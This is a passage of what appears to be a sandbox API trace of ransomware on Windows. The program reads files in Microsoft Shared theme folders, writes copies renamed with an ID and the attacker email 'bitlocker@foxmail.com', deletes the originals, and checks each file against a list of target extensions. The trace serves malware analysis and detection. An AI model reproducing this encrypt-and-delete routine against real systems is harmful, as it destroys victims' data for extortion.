lpNumberOfBytesWritten=0x328fc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0051.536] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.537] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.537] SetEndOfFile (hFile=0x1e8) returned 1 [0051.542] CloseHandle (hObject=0x1e8) returned 1 [0051.543] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.543] SetEndOfFile (hFile=0x1f0) returned 1 [0051.544] CloseHandle (hObject=0x1f0) returned 1 [0051.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.545] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0051.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0051.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0051.545] lstrlenW (lpString=".doc") returned 4 [0051.545] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.545] lstrlenW (lpString=".docx") returned 5 [0051.545] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.545] lstrlenW (lpString=".pdf") returned 4 [0051.545] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.545] lstrlenW (lpString=".xls") returned 4 [0051.545] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.545] lstrlenW (lpString=".xlsx") returned 5 [0051.545] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.545] lstrlenW (lpString=".ppt") returned 4 [0051.545] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0051.545] lstrlenW (lpString=".zip") returned 4 [0051.545] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.545] lstrlenW (lpString=".rar") returned 4 [0051.545] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.545] lstrlenW (lpString=".bz2") returned 4 [0051.545] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.545] lstrlenW (lpString=".7z") returned 3 [0051.545] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0051.545] lstrlenW (lpString=".dbf") returned 4 [0051.545] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0051.545] lstrlenW (lpString=".1cd") returned 4 [0051.545] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0051.546] lstrlenW (lpString=".jpg") returned 4 [0051.546] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0051.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0051.546] lstrlenW (lpString=".doc") returned 4 [0051.546] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.546] lstrlenW (lpString=".docx") returned 5 [0051.546] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.546] lstrlenW (lpString=".pdf") returned 4 [0051.546] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.546] lstrlenW (lpString=".xls") returned 4 [0051.546] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.546] lstrlenW (lpString=".xlsx") returned 5 [0051.546] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.546] lstrlenW (lpString=".ppt") returned 4 [0051.546] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0051.546] lstrlenW (lpString=".zip") returned 4 [0051.546] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.546] lstrlenW (lpString=".rar") returned 4 [0051.546] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.546] lstrlenW (lpString=".bz2") returned 4 [0051.546] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.546] lstrlenW (lpString=".7z") returned 3 [0051.546] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0051.546] lstrlenW (lpString=".dbf") returned 4 [0051.546] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0051.546] lstrlenW (lpString=".1cd") returned 4 [0051.546] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0051.546] lstrlenW (lpString=".jpg") returned 4 [0051.546] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.547] lstrcmpiW (lpString1=".GIF", lpString2=".wiki") returned -1 [0051.547] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0051.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.547] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2722) returned 1 [0051.547] CloseHandle (hObject=0x1f0) returned 1 [0051.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0051.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.547] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.547] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.549] GetLastError () returned 0x0 [0051.549] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xaa2, lpOverlapped=0x0) returned 1 [0051.550] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0051.551] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.551] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xea, lpOverlapped=0x0) returned 1 [0051.551] SetEndOfFile (hFile=0x1e8) returned 1 [0051.551] CloseHandle (hObject=0x1e8) returned 1 [0051.552] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.552] SetEndOfFile (hFile=0x1f0) returned 1 [0051.553] CloseHandle (hObject=0x1f0) returned 1 [0051.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.553] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0051.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0051.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0051.553] lstrlenW (lpString=".doc") returned 4 [0051.553] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.553] lstrlenW (lpString=".docx") returned 5 [0051.553] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.553] lstrlenW (lpString=".pdf") returned 4 [0051.553] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.553] lstrlenW (lpString=".xls") returned 4 [0051.553] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.553] lstrlenW (lpString=".xlsx") returned 5 [0051.553] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.553] lstrlenW (lpString=".ppt") returned 4 [0051.553] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0051.553] lstrlenW (lpString=".zip") returned 4 [0051.553] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.554] lstrlenW (lpString=".rar") returned 4 [0051.554] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.554] lstrlenW (lpString=".bz2") returned 4 [0051.554] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.554] lstrlenW (lpString=".7z") returned 3 [0051.554] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0051.554] lstrlenW (lpString=".dbf") returned 4 [0051.554] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0051.554] lstrlenW (lpString=".1cd") returned 4 [0051.554] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0051.554] lstrlenW (lpString=".jpg") returned 4 [0051.554] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0051.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0051.554] lstrlenW (lpString=".doc") returned 4 [0051.554] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0051.554] lstrlenW (lpString=".docx") returned 5 [0051.554] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0051.554] lstrlenW (lpString=".pdf") returned 4 [0051.554] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0051.554] lstrlenW (lpString=".xls") returned 4 [0051.554] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0051.554] lstrlenW (lpString=".xlsx") returned 5 [0051.554] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0051.554] lstrlenW (lpString=".ppt") returned 4 [0051.554] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0051.554] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0051.554] lstrlenW (lpString=".zip") returned 4 [0051.554] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0051.554] lstrlenW (lpString=".rar") returned 4 [0051.554] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0051.554] lstrlenW (lpString=".bz2") returned 4 [0051.555] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0051.555] lstrlenW (lpString=".7z") returned 3 [0051.555] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0051.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0051.555] lstrlenW (lpString=".dbf") returned 4 [0051.555] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0051.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0051.555] lstrlenW (lpString=".1cd") returned 4 [0051.555] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0051.555] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0051.555] lstrlenW (lpString=".jpg") returned 4 [0051.555] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0051.555] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0051.555] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.555] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.556] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=43276) returned 1 [0051.556] CloseHandle (hObject=0x1f0) returned 1 [0051.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 0x20 [0051.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0051.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0051.556] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.556] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0051.557] GetLastError () returned 0x0 [0051.557] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0xa90c, lpOverlapped=0x0) returned 1 [0051.559] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xa910, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xa910, lpOverlapped=0x0) returned 1 [0051.780] ReadFile (in: hFile=0x1f0, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.788] WriteFile (in: hFile=0x1e8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x328fc9c*=0xec, lpOverlapped=0x0) returned 1 [0051.788] SetEndOfFile (hFile=0x1e8) returned 1 [0051.788] CloseHandle (hObject=0x1e8) returned 1 [0051.789] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.789] SetEndOfFile (hFile=0x1f0) returned 1 [0051.790] CloseHandle (hObject=0x1f0) returned 1 [0051.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0051.791] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\thmbnail.png")) returned 1 [0051.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0051.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0051.791] lstrlenW (lpString=".doc") returned 4 [0051.791] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.791] lstrlenW (lpString=".docx") returned 5 [0051.791] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.791] lstrlenW (lpString=".pdf") returned 4 [0051.791] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.791] lstrlenW (lpString=".xls") returned 4 [0051.791] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.791] lstrlenW (lpString=".xlsx") returned 5 [0051.791] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.791] lstrlenW (lpString=".ppt") returned 4 [0051.791] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0051.791] lstrlenW (lpString=".zip") returned 4 [0051.791] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.791] lstrlenW (lpString=".rar") returned 4 [0051.791] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.791] lstrlenW (lpString=".bz2") returned 4 [0051.791] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.791] lstrlenW (lpString=".7z") returned 3 [0051.791] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0051.791] lstrlenW (lpString=".dbf") returned 4 [0051.791] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.791] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0051.791] lstrlenW (lpString=".1cd") returned 4 [0051.792] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0051.792] lstrlenW (lpString=".jpg") returned 4 [0051.792] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0051.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0051.792] lstrlenW (lpString=".doc") returned 4 [0051.792] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0051.792] lstrlenW (lpString=".docx") returned 5 [0051.792] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0051.792] lstrlenW (lpString=".pdf") returned 4 [0051.792] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0051.792] lstrlenW (lpString=".xls") returned 4 [0051.792] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0051.792] lstrlenW (lpString=".xlsx") returned 5 [0051.792] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0051.792] lstrlenW (lpString=".ppt") returned 4 [0051.792] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0051.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0051.792] lstrlenW (lpString=".zip") returned 4 [0051.792] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0051.792] lstrlenW (lpString=".rar") returned 4 [0051.792] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0051.792] lstrlenW (lpString=".bz2") returned 4 [0051.792] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0051.792] lstrlenW (lpString=".7z") returned 3 [0051.792] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0051.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0051.792] lstrlenW (lpString=".dbf") returned 4 [0051.792] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0051.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0051.792] lstrlenW (lpString=".1cd") returned 4 [0051.792] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0051.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\THMBNAIL.PNG") returned 75 [0051.792] lstrlenW (lpString=".jpg") returned 4 [0051.793] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0051.793] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0051.793] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0051.793] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0052.470] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=29925) returned 1 [0052.470] CloseHandle (hObject=0x18c) returned 1 [0052.470] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0052.471] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0052.471] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0052.477] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.477] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.477] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0052.496] GetLastError () returned 0x0 [0052.496] ReadFile (in: hFile=0x18c, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x328fed4*=0x74e5, 